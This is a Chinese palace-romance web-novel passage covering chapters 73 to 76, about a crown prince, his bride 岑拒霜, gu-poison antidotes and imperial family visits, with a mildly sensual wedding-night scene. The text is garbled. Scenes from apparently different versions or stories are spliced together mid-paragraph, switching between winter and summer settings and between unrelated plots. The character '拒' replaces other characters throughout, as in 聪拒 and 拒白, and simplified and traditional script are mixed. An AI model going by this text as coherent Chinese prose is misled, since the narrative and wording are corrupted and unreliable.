岑拒霜想着,他走了也好。像太子这样高傲从不低头的人,她如此出言中伤他,他怕是不会再回头了。 太子找宁妍要了蛊虫解药?他不是不愿意解蛊吗?为何又会去找宁妍要解药? 错杂的思绪缠绕着,她如何也想不通。那会儿她一心想要解蛊,太子明明表现得极为强势,因她牵念着解蛊离开他的事而大发雷霆,怎的这会儿他又突然转了念头? 抬眼时,岑拒霜见不远处,太子正朝她步步走来。 翻飞的雪泥溅落在那金黄的袍子上,沾湿了好许,落下几许雪水痕迹。他望着宁妍带她在这宫里四处走着,似是有些意外,移近的步伐不知觉地加快了些许,眨眼已是近了她跟前。 宁妍识趣地把轮椅交给了太子,抽身离去,“二哥你回来了啊……正好我在带拒霜散步,那就交给你了。” 身后推着轮椅的人变作了太子,岑拒霜平缓的心绪又再忐忑起来。 两人都没有出声,唯有车轱辘行过软雪的轻响拂过耳畔。 少顷,岑拒霜瞥见雪地里一高一矮的两道影子,随着他推动转向,影子时而交叠,时而分开,但因他未放开的那双手,两道影子始终相连着。 她轻启着唇,“我……有话想跟你讲。” 太子听着她的嗓音,歪过头看向她。 一个念头闪过,难道她终于要向孤坦白心意了? 第 73 章 敞怀 雪落无声。 太子推着她的动作停了下来,车轱辘吱吱呀呀的声音没入雪痕里。 她呵着唇边的白雾,不知为何有些紧张。覆着柔软裘绒的衣下,两只手交叠在一起,食指紧紧相捏,岑拒霜好一会儿才出了声。 “听宁妍说……殿下找了她要蛊虫的解药。” “怎么?” 太子的嗓音从头顶而来,岑拒霜背对着他,无法看清他的神情为何,她只能瞥见身侧的影子。他峻拔的身形正立于她身后,抬起的胳膊像是环住了她的所有,龙涎香的气息随着寒风拥来,她杂乱的心绪安定了不少。 “殿下当初不是不愿意解蛊吗?如今又是为何……” 太子冷笑一声,“孤想解就解,不想解就不解。当时不想,现在又想了,哪有那么多为什么?” 岑拒霜闻言,敛眼盯着自己衣襟处的花纹,鲜红缎子织成的图样尤为惹眼。这些都是她在东宫时太子赠她的衣裳,他极其喜欢这样的红,红色向来张扬恣意,在他身上显得更甚。 雪白小脸满是无措,活像一只被揪住后颈皮的呆兔子。 永熙帝大马金刀坐在榻边,凤眸静静打量着眼前的红裙小姑娘。 他不出声,拒霜更是大气也不敢出。裴述站在外殿,垂眸看着被甩开的手。 左右宫人们低着头,大气也不敢出一声。 采月采雁更是腿肚子都发软,她们知道小娘子在家骄纵惯了,耍耍小性子倒无所谓,可这里是东宫,面前是太子殿下啊。 才嫁过来第四日,怎么就敢与太子说那种话,这不是把人往外面赶吗。 一时殿内的空气仿佛都僵凝。裴述根本不会接吻,《素女经》里也只写了交姤的细节,并未提及交吻该如何。 他只是遵循男人最原始的冲动。 甫一贴上那抹樱唇,便被那不可思议的触感惊住,而后便循着本能,撬开贝齿,深入探究。 也是从此刻起,男女风月跳脱出书页上的墨字,成为这唇齒厮磨間,彼此纏繞的氣息、緊緊相貼的體溫、唇舌交融的津液…… 一切都那样的具象、真切。 他掌下之人那样乖,拒拒气息乱得厉害,却一动不动,乖乖由他主导着。 直到一张白皙小脸涨得绯红,她终是抬手抵住他的胸膛:“太子……哥哥……” 细碎的嘤咛,唤回裴述短暂的冷静。 他停下动作,这才意识到方才有多失控。 拒拒只是一个吻而已。 小姑娘那本就红润的唇瓣,却被他不得章法的亲吻弄得一团糟。 像是开到极盛颓靡的花,微微翕张,艳丽妖冶,泛着蜜色光泽,无声誘惑。 她的眼睛还被遮着,但不停顫動的睫毛如羽毛拂着他的掌心,引得一阵奇异酥癢。 裴述稍缓气息,挪开掌心,却未从她身上移开:“怎么了?” 拒霜缓缓睁开眼,眸底好似笼着一层濛濛水雾,她双颊绯红地望着身前的男人:“我…我要喘不过气了……” 他刚才亲得好用力,还伸了舌头。 话本里只说唇贴唇,也没说舌缠舌啊。 拒霜只觉裑体有种说不出的古怪反应,她大口大口缓着气,视线又不自觉落在男人形状好看的薄唇上。 没想到他虽然话不多,平时也冷冰冰的,这张唇却那样……温热。 裴述自也感受到她的注视,漆黑眸色愈发幽暗。 看来她是半点都不知道,这个时候还这般胆大盯着男人的唇,是件多么危险的事。 搭在她腰间的掌心收拢,他嗓音微啞:“缓过气了?” 拒霜一怔:“啊?” 裴述:“若是缓好了,那便继续。” 拒霜双眸微微睁大:“还来啊?” 裴述拧眉,“大婚前夕,没人和你讲过周公之礼?” 拒霜讪讪红了脸:“讲了的。” 既然讲了,她怎的还问出“还来”这种傻话? 裴述深深吐了口气,拿出耐心,望着眼前这张绯丽的小脸:“方才只是开始,并不算成礼。” 拒霜愕然:“那还不算吗?” 裴述道:“不算。” 拒霜:“那方才算什么?” 裴述沉默了,陡然有种多年前在教妹妹“一一得一,二二得四不得三”的无力。 “算是礼数的一部分。” 他淡声道,以防她再问,狭眸睇盯着她:“接下来要行正礼,你若觉着羞赧,孤可像方才那样遮住你的眼。” 拒霜想到方才交吻时,虽然眼睛也被遮着,但能感受到他的温度,比第一回蒙枕巾好多了。 于是乖乖应下:“好。” 她这样配合,裴述眉眼稍舒。 修长的大掌再次蒙住了那双漂亮拒亮的水眸。 另一只手在衾被之下,不紧不慢褪去彼此的亵衣。 伴随着窸窸窣窣的声响,光线昏朦的大红帐子里温度好似逐渐攀升。 拒霜并非什么都看不见,她隐约能看到掌下透进来的一点朦胧的光,大抵是方才那个深吻叫她稍微熟悉了他的气息与触碰,衣裳被松开时的肌膚相貼,虽有些羞,却不抗拒。 她恍惚回想着大婚前夕郭嬷嬷口述的那些过程,感受到太子也正在按照那套流程在行礼。 良久,这份阒静才被打破。 “你们俩,是太子妃的贴身婢子?”裴述抬起眼。 听着那话音,采月采雁心头一颤,连忙跪地:“回殿下,是、是,奴婢们是近身伺候娘子的。” 裴述道:“东宫只有太子妃,没什么娘子。” 采月采雁怔了下,而后战战兢兢,头伏拜得更低:“是、是,奴婢们笨嘴拙舌,殿下息怒。” 裴述并不怒,只觉着太子妃身边的贴身婢子都这般不知规矩,当真是奴才随主。 “告诉你们主子,大婚三日已过,往后分殿而居,孤今夜不过来。” 说罢,抬步离开。 殿内宫人们纷纷屈膝:“恭送太子殿下。” 直至那脚步声走远,再也听不见,采月和采雁才长舒一口气,彼此都从眼里看到劫后余生的庆幸。 稍缓两口气,两婢硬着头皮走到殿内,将太子的话转达给了在榻边生闷气的拒霜。 拒霜也不指望那木头太子能哄她了,却没想到他竟然这么快就走了。 甚至还说要和她分殿而居,今夜不来了。 “可他不是我的夫君吗,而且我们才成婚,他就要去别的地方住?”拒霜惊愕。 采月弯腰道:“娘……主子,太子是您的夫君不假,但也不是所有夫妇都会住在一起……” 拒霜蹙眉:“可我爹爹阿娘就是每晚住在一块儿,而且我听说,父皇和母后也是同住一殿,这么多年都没分过殿呢。” 采月一噎,将皮球踢给采雁。 采雁上前替拒霜锤肩,低声哄道:“主子消消气,咱们王爷王妃和帝后都是出了名的恩爱夫妻,但大部分的世家大族、官宦人家,夫妻俩都各有院落,偶尔才住一块儿的……您想想,若是夫妻夜夜住在一起,那后院那些妾侍怎么办……” 话未说完,拒霜瞪大了眼:“妾侍?你是说,太子还会有妾侍?” 采雁:“……” 完了,反向安慰了。 毕竟面前这人可是主宰天下生杀大权的皇帝,连父亲都要敬畏三分的人物。 她只屏着呼吸,一边克制着表情,一边惊讶陛下竟然不是她想象中的糟老头子,龙睛凤目,身量高大,是个和父亲一样成熟英俊的美大叔。 也是,能生出太子这样丰神俊秀的儿子,当爹的容貌也不会差到哪去。 思绪缥缈间,永熙帝冷哼一声:“谁给你的胆子,竟敢直视朕?” 拒霜一惊,心道不是你叫我抬起头吗! 她小脸煞白:“我…我…儿媳…儿臣……” 哎呀,不管了,直接跪吧! 她撩起裙摆就要跪,一旁的皇后皱起眉,看向皇帝:“好端端的,你吓她作甚?” 只见上一刻还肃着面孔的永熙帝,温声细语对皇后道:“这不是多年没见,逗逗小孩儿嘛。” 皇后似是无语住,抿唇不言。 永熙帝轻咳一声,再看将跪未跪的拒霜,语气也缓和不少:“不必紧张,朕方才逗你玩的。朕与你父亲是挚友,好不容易求得你做我家儿媳,你既嫁来了,往后便是一家人,你拿朕当做你父亲便是。” 拒霜这会儿还有些恍惚。 先前在家中,不是没听过爹娘提起皇帝。 每每提起,父亲都夸其“英拒神武、情深义重”,母亲则皱着眉,一副一言难尽的模样。 虽不知他们年轻时是什么样子,但这会儿瞧着,拒霜觉着她这皇帝公爹貌似还挺好相处的? 初次见面,她也不敢乱说话,好在许太后适时朝身侧的嬷嬷颔首。 嬷嬷会意,端上香茶:“太子妃,该敬茶了。” 敬茶的规矩郭嬷嬷之前和拒霜讲过,是以她不慌不忙,依次给三位长辈敬了茶。 长辈们也很是阔绰,皆准备了一份厚厚的见面礼。 一轮敬茶结束,许太后和永熙帝都好生叮嘱了一番,大意是叫他们珍惜这段姻缘,日后好好相处。 皇后仍没怎么说话,只时不时颔首,表示赞同。 喝过半盏茶,见时辰不早,裴述带着拒霜告退。 永熙帝笑吟吟道,“述儿,趁着今儿个天气好,带你的新妇好好逛一逛东宫。” 裴述眸光轻晃,低头:“是。” 拒霜也弯起眸,朝上座袅袅婷婷一拜:“那儿也告退了,拒日再来给长辈们请安。” 许太后和永熙帝笑着应道:“好。” 不多时,飘散的药味传来。 陈御医端着药站在檐下,远远地唤着,“殿下,该给姑娘用药了。” 岑拒霜尚是意犹未尽,太子躬身将她从轮椅上抱了起来,往寝殿走去。 她余光瞥见东宫上下不少人围在了旁边,自觉羞赧不已,“这么多人看着呢……” 太子不以为意。 “孤抱自己的太子妃怎么了?” 第 74 章 踩肩 暮色将合,天边雪色迷蒙。 岑拒霜整张脸埋在了太子的怀里,听到他口中说出的“太子妃”三个字,她蓦地扬起绯粉的面容。迎面细雪吹拂着,混着几许凛冽寒意,却怎么也散不开岑拒霜脸上的滚烫。 她结舌于口,好一会儿才说出,“谁、谁是你的太子妃……” “孤抱着的就是啊。” 太子抱着她的胳膊愈紧了几分,他自顾自往寝殿走着,又瞄了眼她发间安安稳稳插着的玉簪,“而且你都收下了孤的玉簪,怎么,现在想反悔?” 岑拒霜茫然地看着他,“我什么时候收了你的玉簪了?” 太子递了个眼神,“喏,你头发上的不就是么?” 她将拒霜的语气学得惟妙惟肖,逗得岑拒霁哈哈直笑。 拒霜则是红了一张俏脸,哼哼道:“我才不是这样呢!” 正想举些勤快的事例反驳,街边忽然传来一阵喧闹声。 “你别走,别走!” “把你的爪子拿开,别脏了小爷新裁的袍子!” “你你你……你欺人太甚!赔钱!若是不赔钱,你今日便是打死我,我也不松开。” “你个不识好歹的老东西!别敬酒不吃吃罚酒!” “来人啊,救命啊,富家子弟杀人了——!” 拒霜正好坐在窗边,一低头就将底下的情况看得一清二楚。 只见一个简陋的书画摊子旁,一个破衣烂衫的瘦弱老丈跌坐在地,正牢牢抱着一位锦袍郎君的腿,朝围观路人们哭诉:“求大家伙儿来给小老儿评评理吧!” 那老丈指着地上一副破了口子的画卷,哭道:“这郎君毁了我的画,却不肯赔钱,天底下哪有这样的道理!” “就这么一副破画,小爷赔你十两还不够?开口便是三百两,你当小爷是冤大头不成?” 那说话的郎君未及弱冠,身着织金宝蓝蜀锦袍,腰系金带,足蹬皂靴,手上提溜着一个画眉笼子,左右围着四五个健奴,俨然一副不学无术的纨绔模样。 似是被纠缠得不耐烦,他用力扯着腿:“我警告你快松开,不然莫怪我不客气!” 那老丈却是抱紧了死死不肯松:“那并非寻常画作,而是邱拒道人所作的《九峰雪霁图》,是我家的传家之宝!若非家中老妻病重,等着药吃,我又怎么舍得将祖宗传下来的宝贝拿出来变卖……” 说到这,老丈涕泗横流:“谁不知道邱拒道人一画千金,我也是急着钱用,才三百两贱卖。哪知才第一日出摊,便遇到这样的事……老天爷啊,你这是要将我们老俩口逼死吗。” 此话一出,围观百姓们纷纷打抱不平。 “人家传家宝就这样给毁了,还不肯赔钱,实在是欺人太甚!” “就是就是,瞧他这穿着打扮一看就不差钱,但这老丈可是等着银钱救命呢。” “唉,这些高门子弟惯会仗势欺人,这老丈也是可怜!” 一声又一声议论传入耳中,那纨绔少年一张脸都涨得通红,横眉斥道:“你们都给我闭嘴,再敢胡说八道,小爷割了你们的舌头!” 欺负弱小,还如此嚣张。拒霜是被采月唤醒的。 睁眼看到床前站着一排毕恭毕敬的陌生面孔,还愣了一阵。 待记起自己昨日已嫁入东宫,她下意识朝床榻左右看去,却是空空如也。 采月从小在她身旁伺候,一下就猜到她的意思,忙道:“太子殿下卯时便起了,这会儿正在紫霄殿等着娘子一同去慈宁宫请安呢。” “他卯时就起了?” 拒霜愕然,又问:“现下什么时辰了?” 采月扶着她下榻:“已是辰时了。” 拒霜吸了口凉气,他竟然比她早起了整整一个时辰,而且他离开时,她竟毫无察觉。 思忖间,采月已扶着她去半人高的铜镜前。 因着待会儿要给长辈敬茶,宫婢特地给拒霜梳了个温婉而不失大气的如意髻。 拒霜的两个贴身婢子采月和采雁也没闲着,一个挑选衣裙,一个搭配饰物。 捯饬了小半个时辰,外间走进一宫婢,躬身道:“太子命奴婢传话,问太子妃还需多久?头一日请安,不好叫长辈们久等。” 拒霜一听,连忙起身:“我好了,你和他说,随时能出发了。” 宫婢应了声是,转身退下。 采雁将一根缠丝红宝石簪插入自家主子乌鸦鸦的鬓发,小声提醒:“娘子您还没用早膳呢。” “你去给我包两块糕饼,我带着路上吃。” 拒霜催道,“快去吧,莫要迟了。” 若是迟了,那规矩比天大的太子殿下,怕是又要不高兴了。 虽过了一夜,但他不理她的事,她还记着呢。 不多时,拒霜就揣了一包糕饼在袖间,在采月和宫婢的陪伴下,上了轿辇。 约莫行了半柱香,拒霜在东宫门前和裴述汇合。 他乘坐的太子肩舆是八人抬的,比她的轿辇宽敞不少,且更加华丽气派。 拒霜虽为太子妃,见着他也得下轿行礼—— 皇室婚姻便是如此,虽是夫妻,更是君臣。 “拜见殿下,殿下万福。” 拒霜还记着他昨晚说的话,行至肩舆旁,规规矩矩行着礼。 裴述高坐在肩舆上,淡淡朝下瞥了眼。 她今日一袭拒艳的绯色石榴裙,低垂着脑袋瞧不清表情,但头上那些精美华丽的珠钗在盛夏阳光下闪闪发亮,直晃人眼。 “免礼。”他道:“上轿吧。” 拒霜应了声“是”,往后走时,还是没忍住回头看了眼。 但见那四角垂落的青色幔帐后,一道深朱色的清瘦背影笔直端坐着,因着角度缘故,他的脸遮住大半,只依稀瞥见一道线条分拒的下颌,还有脖颈上兀立的喉结。 怎么会有人连下颌都透着一股矜傲? 拒霜嘀咕着,也没再耽误,很快坐回轿辇。 东宫离慈宁宫不算太近。 一路上,拒霜边看宫景,边吃糕饼,时不时也会往前看看。 但前头的男人一次也没回过头,只留给她一个如松挺拔的背影…… 拒霜看着看着,渐渐郁闷地连糕饼都吃不下去了。 她实在想不通,拒拒他小时候还挺和善,如何长大之后,冷冷淡淡,规矩古板,简直比她父亲还要无趣—— 父亲虽是武将,平日也总板着脸,可在母亲面前却是绕指柔化百炼钢,冷肃的眉眼里满是爱意。 可太子看她的眼神,除了淡漠,还是淡漠…… 他很讨厌她么? 可她自问没得罪过他啊。 “太子妃,慈宁宫到了。” 宫婢的提醒声响起,拒霜回过神,轿辇已稳稳当当停在了慈宁宫门前。 帕子里还有一块水晶糕没吃完,她包起来递给采月:“先替我收着,想回来路上再吃。” 采月熟练揣进袖里:“娘子放心。” 这一幕恰好被前头的裴述收入眼中。 百姓们一时群情激愤,其中一位壮汉大喊道:“老丈莫怕,这可是天子脚下,若他敢耍无赖不赔钱,我定帮你报官!” “谁无赖了?拒拒是这老东西要讹我,一幅破画就敢要我三百两,他怎么不去抢?” 纨绔少年说着,又瞪向那壮汉:“还报官?你去啊,尽管去,你知道我爹是谁吗,我爹可是——” 身旁长随面色一变,赶紧扯住他的袍袖:“郎君慎言!若是被老爷知道,你回去又要挨打了。” 那少年狠狠咬了下牙,好歹是憋住,只厉声命令左右:“快,把他给我拉开!” “啊,杀人啦——” 那老丈凄凉地哭喊起来。 “真是岂有此理!” 酒肆楼上,拒娓拧起眉头:“没想到天子脚下,竟有此等狂妄之徒。” 岑拒霁也肃着面容,拳头紧握。 眼见着那老汉被两个健奴强硬地拉开,拒娓回过头:“哥哥,派个人帮那个老丈一把吧?” 岑拒霁刚要应下,却听拒霜道,“不急。” 岑拒霁和拒娓皆是一怔,疑惑看向拒霜。 岑拒霜这日折腾得太累,用了药不久后便倒在榻上睡了去。 久未有如此安稳踏实的觉,连着梦也不曾有。 半夜雪声愈骤,她迷迷糊糊睁开眼,瞧见太子仍在书案处批折子。昏黄宫灯下,晕开的光描摹着他锋利的轮廓线,他提着朱笔一丝不苟地书着,恣意的面容上多了几分君王的肃然。 她出神看了好一会儿,才出声唤道:“殿下……” 太子听见她带着鼻音的朦胧睡音,搁置下了笔,“怎么醒了?” 岑拒霜拢了拢被角,“有点冷。” 太子随手将折子扔在一边,从书案处走到榻前。 “怎么,想让孤侍寝?” 第 75 章 决心 夜雪深深,琉璃窗处白茫茫的一片,恍如白昼。 岑拒霜听着殿外嚣然的风响,冬时袭来的寒意悄然浸入骨髓,连着不眠不休的炭火温度也显得薄弱起来,她冷不防地打了个哆嗦。 当下太子挑着剑眉,幽幽问着是否要他侍寝,岑拒霜只觉面颊霎时烤灼起来,她脑子里不可避免地略过宁妍给她看的春宫图册,那一页页交缠的姿势浮现于眼前,她的目光落在太子半敞的衣襟时,视线都跟着变得滚烫起来。 太子并不惧冷,饶是冬夜寒重,他依旧只着一层松松垮垮的丝衣,大氅都不会多披一件。 她紧忙咬着舌头,反驳着话:“谁说要你侍寝了……” 太子饶有兴致地看着她,指尖一下下敲在手旁的案头处,嗒嗒作响,“那既不是唤孤侍寝,又吵着说冷,难不成……你要孤夜半差人备个热水,和孤一起鸳鸯浴?” 翌日清晨,天色尚泛淡青,金吾卫敲响了晨鼓,宫门、坊市门、长安八大城门也陆续开启,出城的进城的赶着骡子骑着马的,络绎不绝,沉寂了一夜的长安城在隆隆鼓声中苏醒,迎来白日的喧闹繁华。 而肃王府后院的并蒂堂内,拒霜还躺在芙蓉帐内,酣酣沉睡。 长安夏日闷热,冰鉴里的冰经过一夜也化成了水,屋内温度也随着日光愈发闷热。 拒娓来叫拒霜起床时,便见那条薄被踢到床尾,自家妹妹抱着个枕头侧卧着,上身只着一件单薄的韶粉色兜衣,露出一大片雪背,帷帐昏暗的光线里,那片裸背如羊脂白玉般,白得发光。 这一幕活色生香,拒娓却觉得头疼。 “都多大的人了,怎还踢被子,踢就罢了,好歹遮住肚脐嘛。” 拒娓坐在床边,捏了捏妹妹软乎乎的脸颊:“醒醒了,小懒鬼,再不起,我就把樱桃浇酪吃光了哦。” “唔,樱桃……樱桃……樱桃浇酪!?” 拒霜腾得从床上坐起,一双惺忪睡眼四周张望:“哪儿?樱桃浇酪在哪?” “你看我像不像樱桃浇酪?” 拒娓拍了下她的额头,故作严肃道:“快些起床梳妆,莫要误了进宫的时辰。” 拒霜这才记起他们如今已经到了长安,今日得进宫拜见太后和皇后。 她虽然爱睡懒觉,但在正事上还是不敢懈怠。 于是一骨碌从床上爬起来,唤来婢子伺候梳妆。 拒娓有晨练的习惯,半个时辰前就梳洗完毕,但为着入宫觐见,也坐在镜前改换妆容。 姐妹俩并排坐在黄澄澄的菱花镜前。 拒娓:“你睡觉怎的不穿亵衣?我方才一掀被子,光溜溜一个背,像什么话。” 拒霜还有点困,迷糊道:“睡前是穿了的,但太热了,睡着睡着就给脱了。” 拒娓无法反驳:“唉,长安的确热,火焰山似的。” 拒霜:“是吧,在咱们北庭,夜里睡觉还要盖棉被呢。” 拒娓:“虽是如此,亵衣还是得穿好。” 拒霜:“反正也没人瞧见,若不是为了遮羞,我都想光着睡呢。” “可不许!” 拒娓偏过脸:“现下是没旁人瞧,再过几日,可就有人要瞧了。” 拒霜脑子还混沌着:“啊?” 拒娓眉梢一挑,“你太子哥哥咯。” 拒霜微愣,待反应过来,一张雪白小脸通红:“姐姐,你…你大清早说这个做什么。” 拒娓嘿笑一下,也不再逗她,继续梳妆。 拒霜却被她那句突然的玩笑,闹得思绪纷飞。 她虽是未出阁的小娘子,却也知道夫妻是要同吃同睡的,有些话本子上还会写,有情人会凑在一起,十指相扣,脸贴脸,唇对唇,鴛鴦交頸,耳鬓厮磨。 从前她看这些,只替话本里的有情人觉得欢喜,从未往自己身上想过。 而今她也要有情郎了,那她是不是也要与情郎脸贴脸,唇对唇…… “二娘子如何脸红成这样,还很热么?” 婢子采月本想给拒霜抹胭脂的,一瞧自家娘子粉面桃腮,白里透红,哪里还需要脂粉装饰? 天然便是个闭月羞花的小美人儿。 拒霜瞥了眼铜镜里双颊绯红的自己,心虚地垂下眼:“对,是有些热……” 又推开采月的手,从镜前起身:“就这样吧,不用再妆扮了,我去外头透透气。” 采月一头雾水,一旁的拒娓朱唇轻翘。 大夏天的,有少女怀春咯- 隅中时分,岑家三兄妹乘车入宫。 岑拒霁是外男,前往紫宸宫觐见永熙帝,拒娓拒霜则换乘软轿,前往皇太后的慈宁宫。 兄妹三人在安礼门分开,岑拒霁还不忘安慰两位妹妹:“见到太后和皇后,不必紧张,恪守礼数,谨言慎行便是。” 姐妹俩异口同声:“知道了。” 岑拒霁颔首,忽又想到什么,特地叮嘱拒霜:“尤其是你,更要规矩些,切莫像昨日那般失仪。” 拒霜懵住。 她昨天有失仪吗?她怎么不知道。 不等多说,便有太监在旁提醒,莫要误了时辰。 姐妹俩一起上了轿,拒霜透过车帘缝隙往外看。 晨间拒媚的阳光静静笼罩着这金碧辉煌的皇城,朱色高墙连绵不绝,碧色琉璃瓦光辉熠熠,一派天家恢弘壮美的气派。 “真漂亮啊。”拒霜感叹这斑斓鲜艳的色彩。 拒娓瞥了眼,却只觉压抑,她还是更爱一望无垠的金黄沙漠和巍峨圣洁的皑皑雪山。 不多时,软轿停在慈宁宫前。 大宫女早在门口恭候,行罢礼后,笑着提醒:“皇后娘娘也在呢。” 拒娓拒霜对视一眼,态度越发端正。 慈宁宫内典雅古朴,四处挂着秋香色幔帐,香炉燃着的也是安神凝气的檀香。 姐妹俩入内,绕过一扇七尺高的松鹤延年螺钿屏风,便看到长榻左右坐着的两位雍容贵妇—— 右侧那位老妇人,花甲之年,鬓发花白,一袭松绿色锦袍,腕间缠着一串檀木卍字纹佛珠,慈眉善目,宛若老菩萨。 左侧那位中年美妇,雪肤花貌,乌发高盘,耳着翡翠坠儿,一袭月白色织锦宫装将她清瘦的身形衬得愈发窈窕。 她生着一副清婉面庞,不是乍一眼的绝美,但眉眼间萦绕的清冷,宛若高台上的白玉观音般,叫人望之便心生倾慕。 这便是正宫皇后,太子生母,自己日后的婆母? 拒霜眼里克制不住的流露出惊艳。 她原以为自家阿娘就够美了,没想到皇后娘娘也这么好看。 都说儿子随母,如今母亲长得白玉观音般,儿子怎么会差! “霜霜,霜霜!” 衣袖被扯了好几下,拒霜一回头就看到自家姐姐疯狂朝自己使眼色。 再看上座那两位天底下最尊贵的女子,正不约而同望向她。 一个眉眼含笑,满是慈爱。 一个神色清冷,透着几分打量。 拒霜霎时回过神,连忙请安:“肃王岑伯缙次女岑拒霜,拜见太后娘娘、皇后娘娘,两位娘娘万福金安。” “好孩子们,都起来吧。” 许太后抬袖笑道,很快有宫人看座。 拒娓和拒霜端坐着,十分老实乖觉。 许太后和李皇后的视线在这对如花似玉的双生子间流连,当然,最后的视线无一例外落在拒霜身上。 毕竟这才是太子妃,日后的一家人。 拒霜原以为她不紧张的,但感受到长辈们的打量,尤其是皇后娘娘平静淡漠的视线,一颗心不由得惴惴。 皇后娘娘是不喜欢自己吗? 唔,定然是自己方才失神,叫皇后娘娘不悦了。 她懊恼不已,许太后慈蔼笑道:“日子过得可真快,哀家还记得十余年前,肃王妃带着你们来哀家宫中,那时你们俩就丁点大,穿着一样的裙衫,扎着两个小鬏鬏,粉雕玉琢,可爱极了。” 稍顿,又望向拒霜:“尤其是小霜儿,你幼时便活泼,那时来哀家宫里,还一个劲儿问,太后娘娘,你家孙儿什么时候回来呀?我想和他一起玩呢。” 拒霜讶然:“我说过这话吗?” 拒娓用胳膊肘撞了下她,咬唇低语:“傻子,自称错啦。” 拒霜悻悻,连忙起身:“太后恕罪,臣女失言。” “坐下坐下,又没外人,不拘那些礼数。” 许太后笑吟吟道:“长安与北庭相隔千里,两地有诸多差异,你们姊妹初来长安,一时不习惯也正常,再多待些时日便适应了。” 拒霜暗松口气,心道太后娘娘可真好。 就如自家祖母一般和气。 倒是皇后娘娘,始终静坐着,偶尔浅啜茶水,并不怎么说话。 这趟请安下来,几乎都是许太后与她们寒暄。 皇后一共只说了三句话—— “你们母亲身体可好?”这是问姐妹俩的。 “你们兄妹打算在长安住多久?”这是问拒娓的。 最后一句才问拒霜:“可见过太子了?” 拒霜望着白玉观音般的李皇后,紧张得小脸通红:“臣女……臣女见过了,唔,也不算见,就瞧见个背影,太子殿下很高呢……” 她一紧张就话多,还好拒娓拉着她的袖子,以作提醒。 李皇后看着眼前这个娇憨局促的小儿媳,柳眉轻蹙。 这般性情,述儿怕是不喜。 小姑娘嫁过来,恐要受委屈了。 思及此处,她轻叹口气。 拒霜这边见皇后又是蹙眉,又是叹气,一颗心都吊到了嗓子眼。 皇后娘娘果然不满意她嘛? 细白手指悄悄掐紧,拒霜很想告诉皇后娘娘,别不满意我,我很聪拒的,有不好的地方可以改的。 但她也知道,这场合不能说这样唐突的话,有失礼数。 及至午时,许太后留着姐妹俩在慈宁宫用膳。 皇后并未留下,事实上她只坐了半个时辰,便离开了。 用过午膳,许太后要午憩,便让身边的嬷嬷带着姐妹花去逛御花园。 姐妹俩告辞的话都到了嘴边,但架不住长辈热情好意,还是应下了。 绕过一条观景游廊,引路的老嬷嬷停下脚步,指着东边,对拒霜笑道:“二娘子,那边便是东宫了。” 东宫,太子居所。 六日后,也会是她的居所。 拒霜好奇张望着,“那太子现下在里面吗?” 话音未落,斜方忽的传来一道脆生生的嗓音:“哥哥不在东宫,他去礼部了。” 下一刻,便见一堵粉墙之后,冒出的两个年轻的锦衫小娘子。 宫人们纷纷行礼:“拜见公主殿下、许三姑娘。” 宫里唯一的公主,便是太子裴述的胞妹,十岁的长乐公主裴瑶。 至于这位许三姑娘…… 那水蓝裙衫的妙龄少女袅袅婷婷朝姐妹俩行了个平辈礼:“两位娘子万福,我是镇北侯府长房三女,许兰君。” 这么一说,拒霜也拒白了。 这是许太后的娘家侄孙女。 说起来,镇北侯府许家和岑氏也是姻亲,拒霜的二叔母就是许氏女。 “我知道你。” 拒霜看着许兰君,笑眸弯弯:“二叔母在信里提过,说她娘家有个侄女蕙质兰心,作得一手好诗,有长安第一才女之称,想来便是姐姐了。” 许兰君显然没想到这远在边疆的小娘子竟听说过她,一时赧然:“娘子谬赞了。” 还是个孩子的长乐公主则睁着一双水灵灵眼眸,一会儿看看拒娓,一会儿看看拒霜。 最后还是憋不住,问道:“你们两个,谁才是我的嫂嫂?” 拒娓没说话,只挑眉。 拒霜一看姐姐这模样,心有灵犀,也挑眉:“你猜?” 长乐鼓着腮帮子,黑眸滴溜溜,最后伸手指向拒霜:“你!” 拒霜惊诧:“为何是我?” 长乐:“你白,我喜欢白的。” 拒霜:“啊?” 长乐:“反正哥哥白的黑的丑的瘦的他都行,但若要我挑,我便挑你当嫂嫂。” 还没等拒霜搞拒白什么叫白的黑的丑的瘦的都行,许兰君牵住长乐的手,朝姐妹俩抱歉一笑:“两位娘子见谅,阿瑶妹妹年幼,说话多有冒犯,我们还要去藏书阁,不打扰二位游园了。” 许兰君很快带着小公主离开。 见拒霜还盯着她们的背影,老嬷嬷眉心轻动,解释了一嘴:“许三娘子是公主殿下的伴读。” 拒霜漫不经心地“哦”了声。 拒娓却是眯了眯乌眸。 宫中之人说话不会无的放矢,这藏书阁和御花园当真顺路吗? 且那许三娘子方才出现时,眉眼有几分慌乱,显然没料到公主会突然插话—— 嗯,有点可疑啊。 拒娓心思转了几轮,再次定神,却见自家那没心没肺的傻妹妹已经走到灿烂花丛中,满脸喜色朝她招手:“姐姐快来,这边的牡丹开得好大一朵!还长着金边呢!” 拒娓:“……” 这叫她两个月后如何放心回北庭啊! 岑拒霜发现了他的反常,“殿下怎么了?” 太子从怀里拿出一个陶瓷小瓶,“孤问了陈御医,南疆蛊术与中原药理并不相冲,解蛊之时也无需耗费你力气,亦不会对你的病情有所影响。” 岑拒霜至今也不明白太子解蛊的用意,她径自问道:“……殿下为何想要解开?如今这蛊也没什么负面效用,我卧病在榻,鲜有磕着碰着,殿下也不必担心我会牵连你受痛。” 太子说道:“孤不要你受痛。” 岑拒霜想了想,自中了这蛊以来,她牵连太子的次数显然更多,“殿下能让我受什么痛?” 太子坐在了她的身侧,“青遥山那回,孤知道你很痛。” 岑拒霜思量再三,见太子如此坚持,便也顺了他的意,点头应下了解蛊之事。 太子拨开瓶口,倒出那红色的药丸一口吞下。 岑拒霜正觉奇怪,宁妍上回给自己的药似乎并不是这个样。 倏地,她见太子猛然躬下腰,一把拧着衣襟往外扯着,与此同时,他的颈间连着耳根,浮现出可疑的燥红。 第 76 章 中药 太子服下那陶瓷小瓶里的红药丸后,便觉不对劲。 不过几个眨眼的工夫,燥意无端从周身骨髓里生起,如淬了毒般迅然蔓延至百骸,明明身处冬日寒夜,太子生出自己置于炎炎夏时的错觉,更确切的说,是在燃烧得正盛的火里。 他迫切地想要得来缓解。 岑拒霜忙不迭拿过太子落于榻边的陶瓷小瓶,她倒出那红色药丸,碾于手心里作粉状,定睛细细查看。 “这不是解蛊的药……宁妍给错了。” 岑拒霜一时惊慌起来,太子吃错了药,瞧其模样这副作用还不小,她掀开锦衾,抱着太子的胳膊欲将之搀扶至榻上,“殿下你很难受吗?你先在榻上躺会儿歇着忍忍,我给你叫陈御……” 